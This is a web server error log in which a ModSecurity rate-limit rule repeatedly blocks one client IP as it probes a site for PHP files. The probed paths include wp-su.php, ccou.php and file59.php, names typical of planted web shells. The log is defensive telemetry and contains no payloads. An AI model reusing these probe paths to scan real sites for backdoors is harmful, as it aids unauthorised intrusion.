[Tue May 26 22:36:06.993726 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:13710] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "ahWv1u9cnSDNAU9sYPgbOgAAABQ"]
[Tue May 26 22:36:07.487131 2026] [:error] [pid 33888:tid 33967] [client 20.63.34.22:13725] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "ahWv1zqzTeoxiinZsGEveAAAARU"]
[Tue May 26 22:36:08.144872 2026] [:error] [pid 33977:tid 33995] [client 20.63.34.22:13730] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "ahWv2O9cnSDNAU9sYPgbPAAAAA8"]
[Tue May 26 22:36:08.792046 2026] [:error] [pid 36497:tid 36527] [client 20.63.34.22:13746] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amxloxxr.php"] [unique_id "ahWv2LjKQWM1gBmBY4hJIAAAANE"]
[Tue May 26 22:36:09.288281 2026] [:error] [pid 33886:tid 33906] [client 20.63.34.22:13949] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "ahWv2bBYzgp5rPVdHcXACAAAAE8"]
[Tue May 26 22:36:09.846518 2026] [:error] [pid 36497:tid 36517] [client 20.63.34.22:13754] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "ahWv2bjKQWM1gBmBY4hJJgAAAMc"]
[Tue May 26 22:36:10.394991 2026] [:error] [pid 36497:tid 36515] [client 20.63.34.22:13728] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "ahWv2rjKQWM1gBmBY4hJKQAAAMU"]
[Tue May 26 22:36:11.284619 2026] [:error] [pid 36497:tid 36532] [client 20.63.34.22:13903] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "ahWv27jKQWM1gBmBY4hJKwAAANY"]
[Tue May 26 22:36:11.999741 2026] [:error] [pid 33887:tid 33934] [client 20.63.34.22:13751] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ahWv29COI_FV7meOxGdZOwAAAI8"]
[Tue May 26 22:36:12.602120 2026] [:error] [pid 36497:tid 36519] [client 20.63.34.22:13932] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ahWv3LjKQWM1gBmBY4hJLwAAAMk"]
[Tue May 26 22:36:13.088853 2026] [:error] [pid 36497:tid 36514] [client 20.63.34.22:13698] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ahWv3bjKQWM1gBmBY4hJNQAAAMQ"]
[Tue May 26 22:36:13.537208 2026] [:error] [pid 33888:tid 33952] [client 20.63.34.22:13742] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "ahWv3TqzTeoxiinZsGEvewAAAQY"]
[Tue May 26 22:36:14.121739 2026] [:error] [pid 36497:tid 36512] [client 20.63.34.22:14314] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ahWv3rjKQWM1gBmBY4hJOQAAAMI"]
[Tue May 26 22:36:14.583895 2026] [:error] [pid 43701:tid 43725] [client 20.63.34.22:13739] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ahWv3oWtVI_UGrhtwKAfbQAAAVY"]
[Tue May 26 22:36:15.028041 2026] [:error] [pid 36497:tid 36521] [client 20.63.34.22:13650] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ahWv37jKQWM1gBmBY4hJPQAAAMs"]
[Tue May 26 22:36:15.519282 2026] [:error] [pid 33977:tid 33992] [client 20.63.34.22:13656] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ahWv3-9cnSDNAU9sYPgbSwAAAAw"]
[Tue May 26 22:36:15.957947 2026] [:error] [pid 36497:tid 36528] [client 20.63.34.22:14292] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ahWv37jKQWM1gBmBY4hJPgAAANI"]
[Tue May 26 22:36:16.517443 2026] [:error] [pid 36497:tid 36534] [client 20.63.34.22:13752] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ahWv4LjKQWM1gBmBY4hJQgAAANg"]
[Tue May 26 22:36:16.940554 2026] [:error] [pid 36497:tid 36531] [client 20.63.34.22:13727] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ahWv4LjKQWM1gBmBY4hJSAAAANU"]
[Tue May 26 22:36:17.442824 2026] [:error] [pid 33886:tid 33914] [client 20.63.34.22:14309] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ahWv4bBYzgp5rPVdHcXADAAAAFc"]
[Tue May 26 22:36:17.860906 2026] [:error] [pid 33977:tid 33998] [client 20.63.34.22:13757] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "ahWv4e9cnSDNAU9sYPgbTwAAABI"]
[Tue May 26 22:36:18.313471 2026] [:error] [pid 36497:tid 36524] [client 20.63.34.22:13633] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "ahWv4rjKQWM1gBmBY4hJTwAAAM4"]
[Tue May 26 22:36:18.836550 2026] [:error] [pid 33977:tid 33986] [client 20.63.34.22:13909] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "ahWv4u9cnSDNAU9sYPgbUQAAAAY"]
[Tue May 26 22:36:19.296778 2026] [:error] [pid 43701:tid 43707] [client 20.63.34.22:13750] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file4.php"] [unique_id "ahWv44WtVI_UGrhtwKAfdAAAAUQ"]
[Tue May 26 22:36:19.756902 2026] [:error] [pid 43701:tid 43711] [client 20.63.34.22:13640] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ahWv44WtVI_UGrhtwKAfdwAAAUg"]
[Tue May 26 22:36:20.185062 2026] [:error] [pid 33886:tid 33894] [client 20.63.34.22:13943] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ahWv5LBYzgp5rPVdHcXADQAAAEM"]
[Tue May 26 22:36:20.631898 2026] [:error] [pid 33887:tid 33920] [client 20.63.34.22:13655] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ahWv5NCOI_FV7meOxGdZQwAAAIE"]
[Tue May 26 22:36:21.102612 2026] [:error] [pid 36497:tid 36529] [client 20.63.34.22:13686] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ahWv5bjKQWM1gBmBY4hJVAAAANM"]
[Tue May 26 22:36:21.567102 2026] [:error] [pid 33886:tid 33897] [client 20.63.34.22:13646] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "ahWv5bBYzgp5rPVdHcXADgAAAEY"]
[Tue May 26 22:36:22.037458 2026] [:error] [pid 33888:tid 33967] [client 20.63.34.22:13891] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "ahWv5jqzTeoxiinZsGEvggAAARU"]
[Tue May 26 22:36:22.499643 2026] [:error] [pid 33887:tid 33938] [client 20.63.34.22:13638] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "ahWv5tCOI_FV7meOxGdZSQAAAJM"]
[Tue May 26 22:36:22.953920 2026] [:error] [pid 36497:tid 36514] [client 20.63.34.22:13917] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1index.php"] [unique_id "ahWv5rjKQWM1gBmBY4hJWgAAAMQ"]
[Tue May 26 22:36:23.375875 2026] [:error] [pid 33887:tid 33943] [client 20.63.34.22:14284] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "ahWv59COI_FV7meOxGdZSwAAAJg"]
[Tue May 26 22:36:23.828407 2026] [:error] [pid 36497:tid 36516] [client 20.63.34.22:13674] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "ahWv57jKQWM1gBmBY4hJXQAAAMY"]
[Tue May 26 22:36:24.239273 2026] [:error] [pid 43701:tid 43714] [client 20.63.34.22:13672] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "ahWv6IWtVI_UGrhtwKAfewAAAUs"]
[Tue May 26 22:36:24.661935 2026] [:error] [pid 33888:tid 33947] [client 20.63.34.22:13649] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-su.php"] [unique_id "ahWv6DqzTeoxiinZsGEvhAAAAQE"]
[Tue May 26 22:36:25.148351 2026] [:error] [pid 36497:tid 36533] [client 20.63.34.22:14287] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "ahWv6bjKQWM1gBmBY4hJYQAAANc"]
[Tue May 26 22:36:25.566223 2026] [:error] [pid 43701:tid 43721] [client 20.63.34.22:13729] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "ahWv6YWtVI_UGrhtwKAffwAAAVI"]
[Tue May 26 22:36:26.028665 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:13688] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "ahWv6oWtVI_UGrhtwKAfhAAAAU4"]
[Tue May 26 22:36:26.524759 2026] [:error] [pid 33977:tid 34003] [client 20.63.34.22:13654] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "ahWv6u9cnSDNAU9sYPgbVgAAABc"]
[Tue May 26 22:36:26.941829 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:13708] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ahWv6u9cnSDNAU9sYPgbWAAAABQ"]
[Tue May 26 22:36:27.370034 2026] [:error] [pid 33977:tid 33982] [client 20.63.34.22:13659] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ahWv6-9cnSDNAU9sYPgbWQAAAAI"]
[Tue May 26 22:36:27.822265 2026] [:error] [pid 36497:tid 36514] [client 20.63.34.22:13677] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ahWv67jKQWM1gBmBY4hJZgAAAMQ"]
[Tue May 26 22:36:28.262495 2026] [:error] [pid 33887:tid 33939] [client 20.63.34.22:13706] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-ver.php"] [unique_id "ahWv7NCOI_FV7meOxGdZVAAAAJQ"]
[Tue May 26 22:36:28.742560 2026] [:error] [pid 33887:tid 33934] [client 20.63.34.22:13731] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "ahWv7NCOI_FV7meOxGdZVQAAAI8"]
[Tue May 26 22:36:29.159179 2026] [:error] [pid 43701:tid 43706] [client 20.63.34.22:13745] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "ahWv7YWtVI_UGrhtwKAfiAAAAUM"]
[Tue May 26 22:36:29.672537 2026] [:error] [pid 33888:tid 33966] [client 20.63.34.22:13676] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "ahWv7TqzTeoxiinZsGEvlwAAARQ"]
[Tue May 26 22:36:30.171143 2026] [:error] [pid 33888:tid 33964] [client 20.63.34.22:14320] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "ahWv7jqzTeoxiinZsGEvowAAARI"]
[Tue May 26 22:36:30.609523 2026] [:error] [pid 43701:tid 43712] [client 20.63.34.22:14282] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ahWv7oWtVI_UGrhtwKAfiQAAAUk"]
[Tue May 26 22:36:31.070714 2026] [:error] [pid 33977:tid 33998] [client 20.63.34.22:14327] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ahWv7-9cnSDNAU9sYPgbbwAAABI"]
[Tue May 26 22:36:31.490187 2026] [:error] [pid 33977:tid 33997] [client 20.63.34.22:13662] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ahWv7-9cnSDNAU9sYPgbcQAAABE"]
[Tue May 26 22:36:31.932677 2026] [:error] [pid 33886:tid 33911] [client 20.63.34.22:13743] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ahWv77BYzgp5rPVdHcXAEwAAAFQ"]
[Tue May 26 22:36:32.350680 2026] [:error] [pid 33977:tid 33981] [client 20.63.34.22:13678] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "ahWv8O9cnSDNAU9sYPgbeQAAAAE"]
[Tue May 26 22:36:32.793408 2026] [:error] [pid 43701:tid 43720] [client 20.63.34.22:14281] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "ahWv8IWtVI_UGrhtwKAfjwAAAVE"]
[Tue May 26 22:36:33.233893 2026] [:error] [pid 33977:tid 33994] [client 20.63.34.22:13695] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "ahWv8e9cnSDNAU9sYPgbegAAAA4"]
[Tue May 26 22:36:33.667958 2026] [:error] [pid 43701:tid 43715] [client 20.63.34.22:13888] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "ahWv8YWtVI_UGrhtwKAflQAAAUw"]
[Tue May 26 22:36:34.093095 2026] [:error] [pid 33886:tid 33893] [client 20.63.34.22:13689] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "ahWv8rBYzgp5rPVdHcXAGwAAAEI"]
